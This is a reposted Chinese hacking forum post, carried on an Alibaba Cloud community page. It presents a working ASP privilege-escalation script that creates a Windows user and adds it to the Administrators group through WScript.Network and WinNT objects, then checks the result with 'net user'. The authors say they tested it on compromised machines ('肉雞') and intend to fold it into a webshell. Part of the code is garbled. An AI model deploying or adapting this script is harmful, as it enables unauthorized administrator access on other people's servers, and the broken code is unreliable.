添加超級使用者的.asp代碼[藍屏的原創,凱文改進,Ms未公布的漏洞]_應用技巧

來源:互聯網
上載者:User
添加超級使用者的.asp代碼[藍屏的原創,凱文改進,Ms未公布的漏洞]
作者:藍屏,凱文 文章來源:冰點極限
其實上個禮拜我和凱文就在我的肉雞上測試了,還有河馬史詩.結果是在user許可權下成功添加Administrators組的使用者了(雖然我不敢相信我的眼睛).
上次凱文不發話,我不敢發布啊....現在在他的blog 上看到他發布了,就轉來了咯(比我上次測試時還改進了一點,加了個表單).這下大家有福咯```

反正代碼是對的,但是很少能成功,具體的看運氣了。。呵呵,下一步我想把他整合到海洋裡面去。嘿嘿。 
複製代碼 代碼如下:

<head>.network對象指令碼許可權提升漏洞利用工具</head> 
<form action="useradd.asp" method=post> 
使用者:<input name="username" type="text" value="kevin1986"><br> 
密碼:<input name="passwd" type="password"><br> 
<input type="submit" Value="添 加"> 
</form> 

<%@codepage=936 
on error resume next 
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then 
response.write "iP !s n0T RiGHt" 
else 
if request("username")<>"" then 
username=request("username") 
passwd=request("passwd") 
Response.Expires=0 
Session.TimeOut=50 
Server.ScriptTimeout=3000 
set lp=Server.createObject("WSCRIPT.NETWORK") 
oz="WinNT://"&lp.ComputerName 
Set ob=GetObject(oz) 
Set oe=GetObject(oz&"/Administrators,group") 
Set od=ob.create("user",username) 
od.SetPassword passwd 
od.SetInfo 
oe.Add oz&"/"&username 
if err then 
response.write "哎~~今天你還是別買6+1了……省下2元錢買瓶可樂也好……" 
else 
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登入")>0 then 
response.write "雖然沒有錯誤,但是好象也沒建立成功.你一定很鬱悶吧" 
else 
Response.write "OMG!"&username&"帳號居然成了!這可是未知漏洞啊.5,000,000RMB是你的了" 
end if 
end if 
else 
response.write "請輸入輸入使用者名稱" 
end if 
end if 
%> 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.